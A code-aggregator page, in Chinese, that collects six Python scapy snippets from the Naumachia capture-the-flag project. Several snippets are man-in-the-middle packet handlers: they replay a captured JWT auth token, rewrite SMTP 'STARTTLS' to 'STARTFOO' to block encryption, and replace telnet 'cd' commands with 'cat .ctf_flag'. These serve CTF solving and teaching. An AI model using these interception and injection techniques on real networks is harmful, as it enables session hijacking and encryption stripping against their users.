當前位置: 首頁>>代碼示例>>Python>>正文


Python all.all方法代碼示例

本文整理匯總了Python中scapy.all.all方法的典型用法代碼示例。如果您正苦於以下問題:Python all.all方法的具體用法?Python all.all怎麽用?Python all.all使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在scapy.all的用法示例。


在下文中一共展示了all.all方法的6個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: filter

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import all [as 別名]
def filter(self, pkt):
            if all(layer in pkt for layer in (scapy.TCP, scapy.Raw)):
                tcp, raw = pkt[scapy.TCP], pkt[scapy.Raw]
                if tcp.sport == self.port:
                    try:
                        if jwt.decode(raw.load, verify=False)['auth']:
                            self.authed_token = raw.load
                        elif self.authed_token is not None:
                            raw.load = self.authed_token
                    except (jwt.DecodeError, KeyError):
                        pass
            return pkt 
開發者ID:nategraf,項目名稱:Naumachia,代碼行數:14,代碼來源:recipe.py

示例2: process

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import all [as 別名]
def process(self, pkt):
            if all(layer in pkt for layer in (scapy.TCP, scapy.Raw)):
                logger.debug(pkt.sprintf('%IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %Raw.load%'))

                try:
                    load = pkt.load.decode('utf-8')
                except UnicodeDecodeError:
                    return

                m = re.search(self.flagpattern, load)
                if m:
                    self.flag = m.group(0)
                    self.sniffer.stop() 
開發者ID:nategraf,項目名稱:Naumachia,代碼行數:15,代碼來源:letter.py

示例3: corrupttls

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import all [as 別名]
def corrupttls(pkt):
        """corrupttls looks for an SMTP client packet with `STARTTLS` and replaces it with `STARTFOO`"""
        if all(layer in pkt for layer in (scapy.IP, scapy.TCP, scapy.Raw)):
            if pkt[scapy.TCP].dport == 25 and b'STARTTLS' in pkt[scapy.Raw].load:
                pkt.load = pkt[scapy.Raw].load.replace(b'STARTTLS', b'STARTFOO')
        return pkt 
開發者ID:nategraf,項目名稱:Naumachia,代碼行數:8,代碼來源:letter.py

示例4: injectcmd

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import all [as 別名]
def injectcmd(pkt):
        """injectcmd looks for a telnet client packet and if it has the `cd` command, reaplces it with `cat .ctf_flag`"""
        if all(layer in pkt for layer in (scapy.IP, scapy.TCP)):
            if scapy.Raw in pkt and pkt[scapy.TCP].dport == 23:
                raw = pkt[scapy.Raw]
                if b'cd ' in raw.load:
                    raw.load = b'cat .ctf_flag\n'
        return pkt 
開發者ID:nategraf,項目名稱:Naumachia,代碼行數:10,代碼來源:piggies.py

示例5: process

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import all [as 別名]
def process(self, pkt):
            if all(layer in pkt for layer in (scapy.Ether, scapy.IP, scapy.UDP, scapy.Raw)):
                logger.debug(pkt.sprintf('%IP.src%: %Raw.load%'))

                try:
                    load = pkt.load.decode('utf-8')
                except UnicodeDecodeError:
                    return

                m = re.search(self.flagpattern, load)
                if m:
                    self.question = m.group(0)
                elif 'Yup' in load and self.question is not None:
                    self.flag = self.question
                    self.sniffer.stop() 
開發者ID:nategraf,項目名稱:Naumachia,代碼行數:17,代碼來源:middle.py

示例6: process

# 需要導入模塊: from scapy import all [as 別名]
# 或者: from scapy.all import all [as 別名]
def process(self, pkt):
            if all(layer in pkt for layer in (scapy.Ether, scapy.IP, scapy.TCP)):
                logger.debug(pkt.sprintf("[%Ether.src%]%IP.src%:%TCP.sport% > [%Ether.dst%]%IP.dst%:%TCP.dport% %TCP.flags%"))
                if pkt[scapy.Ether].dst == str(net.ifhwaddr(self.iface)) and pkt[scapy.TCP].flags == 2:
                    self.bindaddr, self.bindport = pkt[scapy.IP].dst, pkt[scapy.TCP].dport
                    if self._thread is None or not self._thread.is_alive():
                        self._thread = threading.Thread(target=self.intercept)
                        self._thread.start() 
開發者ID:nategraf,項目名稱:Naumachia,代碼行數:10,代碼來源:scraps.py


注:本文中的scapy.all.all方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。